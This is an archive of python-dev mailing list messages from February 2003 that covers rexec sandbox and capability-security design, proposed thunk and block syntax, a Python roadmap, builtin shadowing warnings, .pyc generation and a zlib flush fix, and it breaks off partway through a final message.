From rocksportrocker@gmx.de Sat Feb 1 00:30:51 2003 From: rocksportrocker@gmx.de (Uwe Schmitt) Date: Sat, 01 Feb 2003 01:30:51 +0100 Subject: [Python-Dev] rexec/bastion Message-ID: <3E3B153B.5060401@gmx.de> Hi, I heard at comp.lang.python that rexec/bastion have some security holes. Accidentily I wrote some "sandbox" code for integrating python into a mathematical appcliation: users should be able to write some mathematical functions of their own without doing harm. So, I'd really be interested if my implementation is safe, or if has the same drawbacks as rexec/bastion. The code with some demonstrations can be downloaded from http://pythonstuff.procoders.net. I'd really appreciate any comments. Greetings, Uwe Schmitt From skip@pobox.com Sat Feb 1 01:28:57 2003 From: skip@pobox.com (Skip Montanaro) Date: Fri, 31 Jan 2003 19:28:57 -0600 Subject: [Python-Dev] rexec/bastion In-Reply-To: <3E3B153B.5060401@gmx.de> References: <3E3B153B.5060401@gmx.de> Message-ID: <15931.8921.673472.551608@montanaro.dyndns.org> Uwe> Accidentily I wrote some "sandbox" code for integrating python into Uwe> a mathematical appcliation: .... The code with some demonstrations Uwe> can be downloaded from http://pythonstuff.procoders.net. I'd Uwe> really appreciate any comments. Uwe, Your request is more appropriately posted to c.l.py (as in, it's not appropriate for python-dev, so by default c.l.py is a better choice ;-). The python-dev list is focused on Python development, not issues related to specific applications. I don't know just what the rexec/bastion holes are, but I've been led to believe they got much bigger when new-style classes became available. Skip From bac@OCF.Berkeley.EDU Sat Feb 1 02:21:35 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Fri, 31 Jan 2003 18:21:35 -0800 (PST) Subject: [Python-Dev] StringIO not an iterator? In-Reply-To: <200301311240.h0VCeJD31717@pcp02138704pcs.reston01.va.comcast.net> References: <20030131012843.D4D463C32B@coffee.object-craft.com.au> <20030131020450.423B33C32B@coffee.object-craft.com.au> <200301311240.h0VCeJD31717@pcp02138704pcs.reston01.va.comcast.net> Message-ID: [Guido van Rossum] > Well, maybe StringIO should be upgraded to be a self-iterator, to > more resemble files. > > And cStringIO should probably be fixed as well. > > Someome please check in the changes, upload a patch to SF, or at least > enter a bug report at SF! > Done; bug #678519 . -Brett From rnd@onego.ru Sat Feb 1 07:31:38 2003 From: rnd@onego.ru (Roman Suzi) Date: Sat, 1 Feb 2003 10:31:38 +0300 (MSK) Subject: [Python-Dev] Python roadmap Message-ID: Dear Guido and other no less respected Python developers, latest discussion in python-dev troubles me and some other Python users, because what is being discussed are details. Maybe for the sake of clarifying your vision of future Python features it is more beneficial to make an overall roadmap where many planned paths and roads will be marked. When this will be clear to all, it will be easier to invent (or re-invent) new syntax for features. For example, what is the Python plan for new OO-features? Are interfaces to go into Python? Etc. What about new control structures? Are they really needed? Etc. There are many PEPs (trees), but what the Python (forest) will be like? -- Sincerely yours, Roman Suzi rnd@onego.ru =\= My AI powered by Linux RedHat 7.3 From fredrik@pythonware.com Sat Feb 1 07:44:13 2003 From: fredrik@pythonware.com (Fredrik Lundh) Date: Sat, 1 Feb 2003 08:44:13 +0100 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <009201c2c900$8bd573c0$ced241d5@hagrid> <2mznphb39i.fsf@starship.python.net> Message-ID: <02af01c2c9c5$e1decad0$ced241d5@hagrid> Brett Cannon wrote: > > It's unclear to me that scheme is more dynamic than Python. > > I don't think Scheme is more dynamic either. from a language runtime perspective, I don't think Smalltalk is more dynamic either. I'm still waiting for the Parroteers to prove me wrong. From ben@algroup.co.uk Sat Feb 1 12:06:46 2003 From: ben@algroup.co.uk (Ben Laurie) Date: Sat, 01 Feb 2003 12:06:46 +0000 Subject: [Python-Dev] Re: Capabilities in Python References: Message-ID: <3E3BB856.3070806@algroup.co.uk> Ka-Ping Yee wrote: > Wow, how did this topic end up crossing over to this list while > i wasn't looking? :0 > > Ben Laurie wrote: > >>I'll admit to being that person. A capability is, in essence, an >>opaque bound method. Of course, for them to be much use, you >>want the system to provide some other stuff, like not being able >>to recreate capabilities (i.e. you get hold of them from on >>high, and that's the _only_ way to get them). > > > Jeremy Hylton wrote: > >>That seems like a funny defintion of a capability. > > > A better definition of "capabilitiy" is "object reference". > > "Bound method" isn't enough, because a capability should be able > to have state, and your system should have the flexibility to > represent capabilities that share state with other capabilities, > or ones that don't. The simple, straightforward way to model this > is to just equate the word "capability" with "object reference". You can it that way, too, but it strikes me as more unwieldy in practice. A bound method also has state because it is, of course, bound to an object reference, so I find that a more elegant way to do it. >>A capability system must have some rules for creating and copying >>capabilities, but there is more than one way to realize those rules in >>a programming language. > > > I suppose there could be, but there is really only one obvious way: > creating a capability is equivalent to creating an object -- > which you can only do if you hold the constructor. A capability > is copied into another object (for the security folks, "object" > == "protection domain") when it is transmitted as an argument to a > method call. > > To build a capability system, all you need to do is to constrain > the transfer of object references such that they can only be > transmitted along other object references. That's all. > > The problem for Python, as Jeremy explained, is that there are so > many other ways of crawling into objects and pulling out bits of > their internals. > > Off the top of my head, i only see two things that would have to > be fixed to turn Python into a capability-secure system: > > 1. Access to each object is limited to its declared exposed > interface; no introspection allowed. > > 2. No global namespace of modules (sys.modules etc.). > > If there is willingness to consider a "secure mode" for Python > in which these two things are enforced, i would be interested > in making it happen. I believe you just described rexec. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff From dan@sidhe.org Sat Feb 1 15:52:18 2003 From: dan@sidhe.org (Dan Sugalski) Date: Sat, 1 Feb 2003 10:52:18 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <02af01c2c9c5$e1decad0$ced241d5@hagrid> References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <009201c2c900$8bd573c0$ced241d5@hagrid> <2mznphb39i.fsf@starship.python.net> <02af01c2c9c5$e1decad0$ced241d5@hagrid> Message-ID: At 8:44 AM +0100 2/1/03, Fredrik Lundh wrote: >Brett Cannon wrote: > >> > It's unclear to me that scheme is more dynamic than Python. >> >> I don't think Scheme is more dynamic either. > >from a language runtime perspective, I don't think Smalltalk is >more dynamic either. > >I'm still waiting for the Parroteers to prove me wrong. You'll probably be waiting a long time--it's generally off topic for the list, most people who aren't convinced won't believe me anyway, and I don't really care enough about this to put in the effort to convince you. -- Dan --------------------------------------"it's like this"------------------- Dan Sugalski even samurai dan@sidhe.org have teddy bears and even teddy bears get drunk From python@rcn.com Sat Feb 1 17:20:43 2003 From: python@rcn.com (Raymond Hettinger) Date: Sat, 1 Feb 2003 12:20:43 -0500 Subject: [Python-Dev] Python roadmap References: Message-ID: <011601c2ca16$40fe63e0$125ffea9@oemcomputer> From: "Roman Suzi" > Maybe for the sake of clarifying your vision of future Python > features it is more beneficial to make an overall roadmap > where many planned paths and roads will be marked. Guido can speak to the future; Python 2.3 speaks to the near future: * no new syntax * only one new builtin function * the bool type for readability * several new or improved library modules enriching the list of what can be done easily or quickly in python. * several usability improvements (extended slices, codec callbacks, use of zip archives, support for international source encodings). * many bug fixes and performance enhancements * constantly improving documentation and a more complete test suite Who wouldn't want all that? Raymond Hettinger From arigo@tunes.org Sat Feb 1 17:31:08 2003 From: arigo@tunes.org (Armin Rigo) Date: Sat, 1 Feb 2003 09:31:08 -0800 (PST) Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Thu, Jan 30, 2003 at 09:02:23PM -0500 References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030201173108.0F9AD2223@bespin.org> Hello, On Thu, Jan 30, 2003 at 09:02:23PM -0500, Guido van Rossum wrote: > v = e: > S > > would be equivalent to > > v = e(T) Just to throw more oil on the fire, note that this looks quite a lot like for v in e: S For example, it is quite messy but you can already define 'newproperty' to let you do the following in 2.2: class X: for count in newproperty: def get(self): return self._count def set(self, value): self._count = value Similarily you can "almost" already write the following for locks: for _ in acquired(lock): ... i.e. you can define acquired() so that the loop is done exactly once, and the lock released at the end. It doesn't really work because you there is no place in acquired() you can put the try:...finally:. Just-drawing-parallels'ly yours, Armin. From arigo@tunes.org Sat Feb 1 17:31:07 2003 From: arigo@tunes.org (Armin Rigo) Date: Sat, 1 Feb 2003 09:31:07 -0800 (PST) Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200301282244.h0SMiQ431533@odiug.zope.com>; from guido@python.org on Tue, Jan 28, 2003 at 05:44:26PM -0500 References: <200301282244.h0SMiQ431533@odiug.zope.com> Message-ID: <20030201173107.48C1D20ED@bespin.org> Hello, On Tue, Jan 28, 2003 at 05:44:26PM -0500, Guido van Rossum wrote: > > class Parrot(object): > > _count = 0 > > class count(Property): > > """The count property.""" > > def __get__(self): > > return self._count > > def __set__(self, value): > > self._count = value > > def __del__(self): > > self._count = 0 > > These all abuse the class keyword for something that's definitely not > a class. That's a fatal flaw. Too bad Python's metaclasses are powerful enough for doing all the kind of things that a macro system could do without actually manipulating the syntax, if it is to hear that actually doing so is fatally flawed :-( Armin From arigo@tunes.org Sat Feb 1 17:31:13 2003 From: arigo@tunes.org (Armin Rigo) Date: Sat, 1 Feb 2003 09:31:13 -0800 (PST) Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <2md6mdla1b.fsf@starship.python.net>; from mwh@python.net on Fri, Jan 31, 2003 at 01:32:32PM +0000 References: <2md6mdla1b.fsf@starship.python.net> Message-ID: <20030201173113.83FBD2E35@bespin.org> Hello Michael, On Fri, Jan 31, 2003 at 01:32:32PM +0000, Michael Hudson wrote: > It could be pointed out that Armin's thesis was in purest-of-the-pure > mathematics and had nothing to with Python. Last I heard, he'd got a > postdoc in something that could related to dynamic compilation, but I > don't know if that amounts to being paid to work on psyco. Yes, it does. I will certainly include my share of the "Minimal Python" project (announced here some time ago) into my postdoc work, and the project is not at all unlinked with Psyco. Oh yes, I could use this mail to confirm I will soon release 1.0 in beta form. Armin. From guido@python.org Sat Feb 1 18:12:49 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 01 Feb 2003 13:12:49 -0500 Subject: [Python-Dev] Python roadmap In-Reply-To: "Your message of Sat, 01 Feb 2003 10:31:38 +0300." References: Message-ID: <200302011812.h11ICnY02076@pcp02138704pcs.reston01.va.comcast.net> Dear Roman, If we can't discuss far-out ideas on python-dev, then where? Details are important to decide whether wild ideas are worth pursuing. There's no roadmap yet. We are exploring new territory. --Guido van Rossum (home page: http://www.python.org/~guido/) From jeremy@alum.mit.edu Sat Feb 1 18:14:11 2003 From: jeremy@alum.mit.edu (Jeremy Hylton) Date: Sat, 1 Feb 2003 13:14:11 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <20030201173107.48C1D20ED@bespin.org> References: <200301282244.h0SMiQ431533@odiug.zope.com> <20030201173107.48C1D20ED@bespin.org> Message-ID: <15932.3699.514766.848297@localhost.localdomain> >>>>> "AR" == Armin Rigo writes: AR> On Tue, Jan 28, 2003 at 05:44:26PM -0500, Guido van Rossum wrote: >> These all abuse the class keyword for something that's definitely >> not a class. That's a fatal flaw. AR> Too bad Python's metaclasses are powerful enough for doing all AR> the kind of things that a macro system could do without actually AR> manipulating the syntax, if it is to hear that actually doing so AR> is fatally flawed :-( Zope is full of hacks like this :-). In Zope3, I see many new language features added through metaclasses, special objects created with class statements, elaborate protocols to declare interfaces and lookup adapters for objects by interface. I think many or all of these features are necessary in such a large system intended to accomodate extension at so many levels. Many of the Zope3 features are begging for syntactic support. That is, the use of the features would be clearer if they could be spelled in a straightforward way. Python provides plenty of features that allow you to extend the language. It's unfortunate that you can't extend the syntax, too. Jeremy From rnd@onego.ru Sat Feb 1 18:16:02 2003 From: rnd@onego.ru (Roman Suzi) Date: Sat, 1 Feb 2003 21:16:02 +0300 (MSK) Subject: [Python-Dev] Python roadmap In-Reply-To: <011601c2ca16$40fe63e0$125ffea9@oemcomputer> Message-ID: On Sat, 1 Feb 2003, Raymond Hettinger wrote: >From: "Roman Suzi" >> Maybe for the sake of clarifying your vision of future Python >> features it is more beneficial to make an overall roadmap >> where many planned paths and roads will be marked. > >Guido can speak to the future; Python 2.3 speaks >to the near future: > >* no new syntax >* only one new builtin function >* the bool type for readability >* several new or improved library modules enriching > the list of what can be done easily or quickly in python. >* several usability improvements (extended slices, codec callbacks, > use of zip archives, support for international source encodings). >* many bug fixes and performance enhancements >* constantly improving documentation and a more complete test suite > >Who wouldn't want all that? This is more or less clear and not as disturbing, as new code-block syntax. BTW, is there any way in Python to make it issue warnings when built-in names are assigned new values? This could be very useful mode for Python beginners who tend to rebind max, min, list, etc? >Raymond Hettinger Sincerely yours, Roman Suzi -- rnd@onego.ru =\= My AI powered by Linux RedHat 7.3 From guido@python.org Sat Feb 1 18:29:12 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 01 Feb 2003 13:29:12 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: "Your message of Sat, 01 Feb 2003 09:31:08 PST." <20030201173108.0F9AD2223@bespin.org> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> Message-ID: <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> > On Thu, Jan 30, 2003 at 09:02:23PM -0500, Guido van Rossum wrote: > > v = e: > > S > > > > would be equivalent to > > > > v = e(T) [Armin] > Just to throw more oil on the fire, note that this looks quite a lot like > > for v in e: > S Huh? Not to my eyes. Unless you basically ignore all keywords, in which case there's no difference between an if and a while block either. That doesn't seem to be a useful POV. > For example, it is quite messy but you can already define > 'newproperty' to let you do the following in 2.2: > > class X: > for count in newproperty: > def get(self): > return self._count > def set(self, value): > self._count = value Messy is the word. I don't think this existence proof will convince anyone that we don't need a new feature then. > Similarily you can "almost" already write the following for locks: > > for _ in acquired(lock): > ... > > i.e. you can define acquired() so that the loop is done exactly > once, and the lock released at the end. It doesn't really work > because you there is no place in acquired() you can put the > try:...finally:. > > Just-drawing-parallels'ly yours, I'm confused. You & Samuele both sometimes have a rhetorical style that leaves me with no idea of the point you're trying to make. Please say it outright. --Guido van Rossum (home page: http://www.python.org/~guido/) From rnd@onego.ru Sat Feb 1 18:30:05 2003 From: rnd@onego.ru (Roman Suzi) Date: Sat, 1 Feb 2003 21:30:05 +0300 (MSK) Subject: [Python-Dev] Python roadmap In-Reply-To: <200302011812.h11ICnY02076@pcp02138704pcs.reston01.va.comcast.net> Message-ID: On Sat, 1 Feb 2003, Guido van Rossum wrote: >Dear Roman, > >If we can't discuss far-out ideas on python-dev, then where? I thought it was meant for Python 2.3 ;-) Sorry. >Details are important to decide whether wild ideas are worth >pursuing. > >There's no roadmap yet. We are exploring new territory. In fact things like expr: suite or v = e: suite are quite natural for Python. I wonder why they have not appeared in the language yet. And I believe you will find most general application to such juicy syntax than just property assignment. Sincerely yours, Roman Suzi -- rnd@onego.ru =\= My AI powered by Linux RedHat 7.3 From guido@python.org Sat Feb 1 18:33:41 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 01 Feb 2003 13:33:41 -0500 Subject: [Python-Dev] Python roadmap In-Reply-To: "Your message of Sat, 01 Feb 2003 21:16:02 +0300." References: Message-ID: <200302011833.h11IXfU02364@pcp02138704pcs.reston01.va.comcast.net> > BTW, is there any way in Python to make it issue warnings when > built-in names are assigned new values? This could be very > useful mode for Python beginners who tend to rebind max, min, > list, etc? It is sort of against the rules of the language -- the whole point of scoping is that you should be able to define variables even if they block a builtin (that you may never have heard of and don't need) from view. But it would be a great feature of PyChecker (for all I know, it already does this). There's one situation where I actually *do* think this is worth a warning, or perhaps even an error. When you import a module and assign to an attribute of it that didn't exist before and has the name of a built-in, you may change that module's meaning. If this wasn't allowed, an optimizer could know that a particular reference to 'len' must really reference the built-in len() function, and could generate in-line code to invoke PyObject_Size() rather than to look up the built-in len and invoke it. This would also allow much more efficient execution of for i in range(1000000): ... if there is no known global named range. --Guido van Rossum (home page: http://www.python.org/~guido/) From aleax@aleax.it Sat Feb 1 18:45:30 2003 From: aleax@aleax.it (Alex Martelli) Date: Sat, 1 Feb 2003 19:45:30 +0100 Subject: [Python-Dev] Python roadmap In-Reply-To: <200302011833.h11IXfU02364@pcp02138704pcs.reston01.va.comcast.net> References: <200302011833.h11IXfU02364@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <200302011945.30990.aleax@aleax.it> On Saturday 01 February 2003 07:33 pm, Guido van Rossum wrote: ... > It is sort of against the rules of the language -- the whole point of > scoping is that you should be able to define variables even if they > block a builtin (that you may never have heard of and don't need) from > view. It would be wonderful to be able to OPTIONALLY get a warning for any "shadowing" of a name in an ``outer'' scope by a name in an ``inner'' scope, though -- I do (occasionally) miss Java's prohibition against doing that. > But it would be a great feature of PyChecker (for all I know, it > already does this). At least in 0.8.12, which I think is the current release, PyChecker doesn't diagnose the binding (in global or local scope) of built-in names with a warning, no. But I think you're right that such a functionality would belong there. > There's one situation where I actually *do* think this is worth a > warning, or perhaps even an error. When you import a module and > assign to an attribute of it that didn't exist before and has the name > of a built-in, you may change that module's meaning. If this wasn't Very good point. Such behavior seems unlikely to me to be accidental (the usage "import X; X.Y=Z" is rare indeed), so I'm not sure warnings would help all that much -- but, _forbidding_ this when Y names a built-in could indeed open the way to some very useful optimizations in the future. Of course, enabling this optimization would also require a prohibition against "overriding" of built-ins by one's own versions -- I don't think that would be a great loss in terms of practical functionality. Alex From guido@python.org Sat Feb 1 19:04:40 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 01 Feb 2003 14:04:40 -0500 Subject: [Python-Dev] Python roadmap In-Reply-To: "Your message of Sat, 01 Feb 2003 21:30:05 +0300." References: Message-ID: <200302011904.h11J4eM02679@pcp02138704pcs.reston01.va.comcast.net> > I thought it was meant for Python 2.3 ;-) Several times in the discussion I clarified that none of this was for 2.3. > Sorry. Next time read the whole thread before commenting. BTW, the 2.3 roadmap is PEP 283. --Guido van Rossum (home page: http://www.python.org/~guido/) From blunck@gst.com Sat Feb 1 19:09:25 2003 From: blunck@gst.com (Christopher Blunck) Date: Sat, 1 Feb 2003 14:09:25 -0500 Subject: [Python-Dev] disable writing .py[co] In-Reply-To: <15917.24278.664609.769232@montanaro.dyndns.org> References: <15917.24278.664609.769232@montanaro.dyndns.org> Message-ID: <20030201190925.GA19674@homer.gst.com> Personally I would like to see py have the ability to *not* generate .pyc files. 99% of the time generation of .pyc doesn't make much difference to me, but there are times where you simply cannot generate them. For example . . . TiVo consists of 4 partitions: - primary root (ro) - primary /var (rw) - secondary root (ro) - secondary /var (rw) The idea is that with / mounted ro, the box can never fargle itself to the point where a user issued fsck is required. This is pretty sweet for devices where the consumer has no idea that an actual Linux OS (or *any* OS for that matter) is installed. I made an unsuccessful attempt to load python onto my TiVo, but when I realized the ro nature of the / filesystem it forced me to reconsider my entire effort. Likewise, another project of mine is on a rackmount device, and we've briefly talked about making / ro in order to achieve the same safety: we don't want the discuss fargled so badly that a customer calls us up and we step them through a fsck. Likewise, we *use* py on our box. Thus, forcing the interpretter to *not* generate .pyc would be a benefit to us, as it would allow us to improve the stability of our platform. Just my 2 cents. -c -- 2:00pm up 103 days, 5:35, 1 user, load average: 5.73, 5.52, 5.26 From guido@python.org Sat Feb 1 19:09:26 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 01 Feb 2003 14:09:26 -0500 Subject: [Python-Dev] Python roadmap In-Reply-To: "Your message of Sat, 01 Feb 2003 19:45:30 +0100." <200302011945.30990.aleax@aleax.it> References: <200302011833.h11IXfU02364@pcp02138704pcs.reston01.va.comcast.net> <200302011945.30990.aleax@aleax.it> Message-ID: <200302011909.h11J9Qf02707@pcp02138704pcs.reston01.va.comcast.net> > > There's one situation where I actually *do* think this is worth a > > warning, or perhaps even an error. When you import a module and > > assign to an attribute of it that didn't exist before and has the name > > of a built-in, you may change that module's meaning. If this wasn't > > Very good point. Such behavior seems unlikely to me to be > accidental (the usage "import X; X.Y=Z" is rare indeed), so I'm > not sure warnings would help all that much -- but, _forbidding_ > this when Y names a built-in could indeed open the way to some > very useful optimizations in the future. Exactly. > Of course, enabling this optimization would also require a > prohibition against "overriding" of built-ins by one's own versions > -- I don't think that would be a great loss in terms of practical > functionality. There are very few builtins for which overriding is useful in practice. The only ones for which it is are __import__ (which was designed with this in mind!) or open and file, which one might want to replace with versions that do access checking in a restricted execution environment. I think we could make this list explicit. People who override built-ins with versions they wrote themselves that have different (extended) semantics are crazy. People who add their own functions to __builtin__ are lazy. Neither deserves support. :-) BTW, Alex, will you be at PyCon? If not, will you be at Python UK the next week? If not, at EuroPython? --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Sat Feb 1 19:12:11 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 01 Feb 2003 14:12:11 -0500 Subject: [Python-Dev] disable writing .py[co] In-Reply-To: "Your message of Sat, 01 Feb 2003 14:09:25 EST." <20030201190925.GA19674@homer.gst.com> References: <15917.24278.664609.769232@montanaro.dyndns.org> <20030201190925.GA19674@homer.gst.com> Message-ID: <200302011912.h11JCN202746@pcp02138704pcs.reston01.va.comcast.net> > Personally I would like to see py have the ability to *not* generate > .pyc files. 99% of the time generation of .pyc doesn't make much > difference to me, but there are times where you simply cannot > generate them. If a .pyc file can't be written, this error is silently ignored and the .py file is compiled each time. A feature to suppress writing .pyc files isn't needed to support having Python installed on a read-only filesystem. --Guido van Rossum (home page: http://www.python.org/~guido/) From skip@pobox.com Sat Feb 1 19:19:07 2003 From: skip@pobox.com (Skip Montanaro) Date: Sat, 1 Feb 2003 13:19:07 -0600 Subject: [Python-Dev] disable writing .py[co] In-Reply-To: <20030201190925.GA19674@homer.gst.com> References: <15917.24278.664609.769232@montanaro.dyndns.org> <20030201190925.GA19674@homer.gst.com> Message-ID: <15932.7595.664231.920570@montanaro.dyndns.org> Christopher> Personally I would like to see py have the ability to *not* Christopher> generate .pyc files. 99% of the time generation of .pyc Christopher> doesn't make much difference to me, but there are times Christopher> where you simply cannot generate them. For example . . . See PEP 304. That's one of the options. Skip From Scott.Daniels@Acm.Org Sat Feb 1 19:30:24 2003 From: Scott.Daniels@Acm.Org (Scott David Daniels) Date: Sat, 01 Feb 2003 11:30:24 -0800 Subject: [Python-Dev] Anyone willing to look over a zlib fix? Message-ID: <3E3C2050.4010908@dsl-only.net> Hi, since this is the first time I've piped up here, I'm Scott, one of the older programmers who learned young (at 16, in 1966, I learned on a vacuum tube desk-sized computer, the LGP-30). My career has included work on operating systems, compilers, and databases. Python is the first new language I've learned in a long time that is a delight to use. My most recent uses of python have been large-volume data analysis (Numeric, VPython) for employment and an art project for myself. The art project involves a _large_ (43M compressed, .25G uncompressed) .png file that I wanted to manipulate with PIL. Unfortunately, PIL failed; I rewrote my code to reading the .png bytes directly in Python, and that failed as well. I evewntually found the problem was in zlib, and changed my code to drain all data before calling .flush(). That solved my immediate problem, and now I'm trying to get a fix in to solve this for others. The fix is small; the original writer misunderstood the cases a decompression object could be in at .flush time, so implemented a no-op as far as the data was concerned. This might be because there was no way to limit the size output by the decompression when that method was written. The test case that should have caught it was subject to a typo that hid the defect, and I submitted bug #640230. I also have a patch in, #678531, wich fixes the problem, accompanied by a rewrite of test_zlib.py into PyUnit style, which was much easier to use in testing my fix. If at all possible, it would be nice to see some exercise in the 2.3 test chain of this fix, so I am hoping for a reviewer. -Scott David Daniels Scott.Daniels@Acm.Org From pedronis@bluewin.ch Sat Feb 1 19:45:56 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Sat, 1 Feb 2003 20:45:56 +0100 Subject: [Python-Dev] Extended Function syntax References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> From: "Guido van Rossum" > > I'm confused. You & Samuele both sometimes have a rhetorical style > that leaves me with no idea of the point you're trying to make. > > Please say it outright. is this the reason why you have not given much feedback on my "rants"? for example do you agree or disagree that it bad to have scoping rules for some piece of code that depend on some user code somewhere else and that can sometime be quite ambiguous at first glance? Thus the 'class'-like scoping rules case should be syntactically distinguishable from the inline-suite-like case? From guido@python.org Sat Feb 1 19:52:17 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 01 Feb 2003 14:52:17 -0500 Subject: [Python-Dev] Anyone willing to look over a zlib fix? In-Reply-To: "Your message of Sat, 01 Feb 2003 11:30:24 PST." <3E3C2050.4010908@dsl-only.net> References: <3E3C2050.4010908@dsl-only.net> Message-ID: <200302011952.h11JqHV03567@pcp02138704pcs.reston01.va.comcast.net> > Hi, since this is the first time I've piped up here, I'm > Scott, one of the older programmers who learned young (at 16, > in 1966, I learned on a vacuum tube desk-sized computer, the > LGP-30). My career has included work on operating systems, > compilers, and databases. Python is the first new language I've > learned in a long time that is a delight to use. My most recent > uses of python have been large-volume data analysis (Numeric, > VPython) for employment and an art project for myself. > > The art project involves a _large_ (43M compressed, .25G uncompressed) > .png file that I wanted to manipulate with PIL. Unfortunately, PIL > failed; I rewrote my code to reading the .png bytes directly in > Python, and that failed as well. I evewntually found the problem > was in zlib, and changed my code to drain all data before calling > .flush(). That solved my immediate problem, and now I'm trying to > get a fix in to solve this for others. > > The fix is small; the original writer misunderstood the cases a > decompression object could be in at .flush time, so implemented a > no-op as far as the data was concerned. This might be because there > was no way to limit the size output by the decompression when that > method was written. The test case that should have caught it was > subject to a typo that hid the defect, and I submitted bug #640230. > > I also have a patch in, #678531, wich fixes the problem, accompanied > by a rewrite of test_zlib.py into PyUnit style, which was much > easier to use in testing my fix. If at all possible, it would be nice > to see some exercise in the 2.3 test chain of this fix, so I am hoping > for a reviewer. I don't know enough about zlib to review your code, but it works fine on Linux, so if you're confident that it is correct, I can check it in. I expect to do another alpha in two or three weeks, so this is good timing. The old test suite (which somehow already had the typo from #640230 fixed) passes with your fix. Your own test suite fails on three tests without your fix: test_decompimax, test_decompressmaxlen, test_manydecompimaxflush; I presume this is expected. --Guido van Rossum (home page: http://www.python.org/~guido/) From aleax@aleax.it Sat Feb 1 19:58:07 2003 From: aleax@aleax.it (Alex Martelli) Date: Sat, 1 Feb 2003 20:58:07 +0100 Subject: [Python-Dev] Python roadmap In-Reply-To: <200302011909.h11J9Qf02707@pcp02138704pcs.reston01.va.comcast.net> References: <200302011945.30990.aleax@aleax.it> <200302011909.h11J9Qf02707@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <200302012058.07050.aleax@aleax.it> On Saturday 01 February 2003 08:09 pm, Guido van Rossum wrote:\ ... > BTW, Alex, will you be at PyCon? If not, will you be at Python UK the > next week? If not, at EuroPython? No, yes, dunno. Can't make it to PyCon, already scheduled to speak at PythonUK, don't yet know about Europython in late June. Alex From guido@python.org Sat Feb 1 20:02:51 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 01 Feb 2003 15:02:51 -0500 Subject: [Python-Dev] Extended Function syntax In-Reply-To: "Your message of Sat, 01 Feb 2003 20:45:56 +0100." <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> Message-ID: <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> > > I'm confused. You & Samuele both sometimes have a rhetorical style > > that leaves me with no idea of the point you're trying to make. > > > > Please say it outright. > > is this the reason why you have not given much feedback on my "rants"? No, this time your rants were quite clear (at least the second time around). I need to have time to read all feedback again and think about it. > for example do you agree or disagree that it bad to have scoping > rules for some piece of code that depend on some user code somewhere > else and that can sometime be quite ambiguous at first glance? Thus > the 'class'-like scoping rules case should be syntactically > distinguishable from the inline-suite-like case? I haven't made up my mind on that yet. It appears that the scope of a block in Ruby is quite ambiguous, yet it seems to work there. What are the scope rules for blocks passed into method calls in Smalltalk? I hope that if this feature is used in a fairly stylized way, where usually the function used to lead into the block is a well-known function, the varying scope rules may not be a problem. Many users have only a vague notion of the difference between a syntactic construct and a function (witness repeated suggestions here and elsewhere that confuse these matters), yet nobody has a problem with understanding the difference in scope rules between 'def' and 'if' statements, for example. So I hope that learning that some functions treat a thunk's scope different than others is no huge burden. In some Lisps, I believe a function can determine whether its arguments are evaluated before the call (== normal Python semantics) or whether they are somehow (I don't know the details!) passed to the function as parse trees so the function can evaluate them at will. This does not seem to confuse Lisp users. Or does it? I honestly don't know if this is popular or considered a wart. I do worry that if my thunks are to be maximally useful, they may end up having all variables bound through "cells" (as used for nested scopes) which may give them a reputation of being slow compared to in-line code, which would limit their popularity for control flow statements like synchronized(). --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Sat Feb 1 20:08:55 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 01 Feb 2003 15:08:55 -0500 Subject: [Python-Dev] Re: Extended Function syntax Message-ID: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net> I received this from Glyph. He brings up some interesting use cases for thunks. I guess it could be used for "on" style event handler declarations. Hmm, you could even craft your own case statement with his suggestion: switch(expr): case(val1): block1 case(val2): block2 default: block3 This actually makes me worry -- I didn't plan thunks to be the answer to all 